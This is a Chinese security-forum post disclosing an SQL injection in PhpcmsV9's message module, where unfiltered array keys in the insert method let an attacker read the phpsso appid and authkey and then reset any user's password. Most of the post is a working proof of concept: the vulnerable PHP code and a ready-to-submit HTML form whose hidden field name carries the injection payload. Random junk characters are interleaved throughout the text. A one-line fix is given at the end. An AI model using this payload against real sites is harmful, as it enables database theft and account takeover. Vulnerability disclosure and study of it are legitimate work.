找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2524|回复: 0
打印 上一主题 下一主题

PhpcmsV9 SQL注射修改任意用户密码漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 11:33:10 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
简要描述:! F" a. K* M: y. P9 F& A9 c4 n, {

' q8 [" }. w- M$ m# u# _第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。
& A3 N" N- y; V- O( E9 c8 b; U- M1 p/ I
明天再更新下一个漏洞。
* D5 M+ m" S1 e/ \8 A详细说明:; W9 w/ X! u! `6 Q" C0 ^4 t7 d
在/phpcms9/phpcms/modules/message/index.php中有代码如下:- C0 x2 w. U/ c! q6 h% p9 m

# E0 P7 q8 o, ~* e! Z$ n$messageid = $this->message_db->insert($_POST['info'],true);
4 t, E; [7 t  b$ m4 \
& x/ I  d; s/ F3 s5 p( u& y3 {* ], a5 B+ |" u) U7 n
insert方法是key value的,代码如下:
+ e6 s/ g: Z. r: ^' x
& k$ t9 m8 U- r# cpublic function insert($data, $table, $return_insert_id = false, $replace = false) {
# @! I/ q9 C- t1 ]& p. n; T                if(!is_array( $data ) || $table == '' || count($data) == 0) {
/ B% u5 U1 X; @) _3 u& U                        return false;5 ]' W$ K1 o$ t- |$ Y+ M  l) l
                }7 \: Y' J1 X6 B& f9 d, e# y9 v
               
2 T  U& q* U, R# w4 T- Y& }3 Q' r/ P                $fielddata = array_keys($data);* e& m1 q1 V# ~' k
                $valuedata = array_values($data);; I" I: H4 @; r- u2 D( r
                array_walk($fielddata, array($this, 'add_special_char'));. j5 F! c- q8 `( h
                array_walk($valuedata, array($this, 'escape_string'));
+ e2 ?5 O0 U" P1 s+ }                4 z" n+ g: V# U# y! I, G" P. \" ^
                $field = implode (',', $fielddata);+ I% Y4 k4 D! b. ?- O8 A# h
                $value = implode (',', $valuedata);. c0 D5 ?( t/ M1 a' {3 g

+ m) i" N9 i# u' D6 E: T& C                $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';
, K9 c, q5 n- G0 S. h# E                $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';7 T% y3 u* Q# g6 ~3 ^/ c
                $return = $this->execute($sql);
- w% F3 V: Z5 D4 k* ~                return $return_insert_id ? $this->insert_id() : $return;. ~; V" [7 [$ @) [
        }: I! V+ Z7 e1 \0 m+ J! L( [4 n. T: d4 K6 n

/ c' Y) k: v0 l# O2 }! i' v# [
7 h7 ?/ Z6 k& i2 x嗯,很遗憾的是
) ?% V+ A& z# \) e! j  u: _9 Y2 b
; w2 c6 @+ ]$ M( u0 Carray_walk($fielddata, array($this, 'add_special_char'));: p" [5 u: Y% `5 v+ u, k- \4 C
# S- P$ y+ C3 C' G
& q0 u4 x8 \9 o1 [
中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。
' ?  ]: Q; _. q1 y: q8 d9 |
' f" N5 B. v; S- H1 V到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。3 c% g' r. s0 X1 h8 B) a: }
! M) d/ n. k. X3 X9 E0 a
漏洞证明:
9 K9 c% Q+ K1 m) U' y3 L读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。) F, m1 i  `% h& @* y) u# v

) P: B0 F6 R7 `+ Q6 c4 H( t% p+ e' w8 S
表单如下:用户名什么的得自己改一改。
' u7 q5 e) ^6 ?<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">/ |) W& [8 V' B. M3 g" T, I
<table width="100%" cellspacing="0" class="table_form">
: Z- K' J7 o! [; A/ \1 b' N+ C* v. Y<tr>) D, `0 A! V! H0 g  R2 R8 f+ W; V4 J
<th>标 题:</th>9 Q- A. v0 M0 E
<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh"  class="input-text"/></td>
: T4 F8 D  z+ n3 c! X* K</tr>   {3 y2 ]# [. G2 \' J- i* s
<tr>0 d4 E7 g. i3 z! n' G( b% A
<th>内 容:</th>( Q  A/ i* u  V, X# N6 f
<td><textarea name="info[content]"  id="con" rows="5" cols="50"></textarea></td>
0 \7 I4 L; D* y: C! s. e</tr># Y( k  r: F- y
<input type="hidden" name="info[replyid]" value="2" /> 6 F4 F) Q) u8 M
<input type="hidden" name="info[send_to_id]" value="cc" />
) m% |( k% f8 s, Y( L/ J7 V* U<input type="hidden" name="info[send_from_id]" value="hh">3 ^+ r/ L/ E, _
<!-- 漏洞的利用重点在这里开始 -->9 i! ?) ]' V' q5 e1 ^
<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" />
4 O! ?5 r3 M9 ?& v, H<!-- 漏洞的利用重点在这里结束 -->0 }- T0 K4 X% M8 a
<tr>
5 [& A5 ~1 }$ U  z1 V3 J2 O<th>验证码:</th>4 q  d' L$ ~; K! j5 R0 I
<td><input name="code" type="text" id="code" size="10"  class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td># c1 T8 \# \  B' L: J" }. o
</tr>
/ o9 L/ Q1 ]( k/ g# R8 ^" e( z<tr>
$ y& R* N% M2 r: ~) h2 t<td></td>
/ r7 p2 f" a3 `( }: l- R<td colspan="2"><label>( C% Y5 B8 [+ u& I/ b3 e# H
<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>
# o, y1 V+ o. @% {/ Z7 V# F</label></td>
4 A$ b: |; P- V/ D- t</tr>
( _' C" ^- @8 l9 t6 h  ]! W) v</table>
" P1 h" ~7 n4 R% y& V8 ^7 m</form>' G9 S$ W. \9 J. C- A* V+ A
在add_special_char函数内对key做过滤就可以了。$ N# l& C4 ?& D! d* `
+ }% ?8 s+ o9 T3 z+ b
6 u* G: N/ p6 [+ R# D. w5 y
8 O% `# |6 d* P( R$ |2 h8 x  }+ m% D# U

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表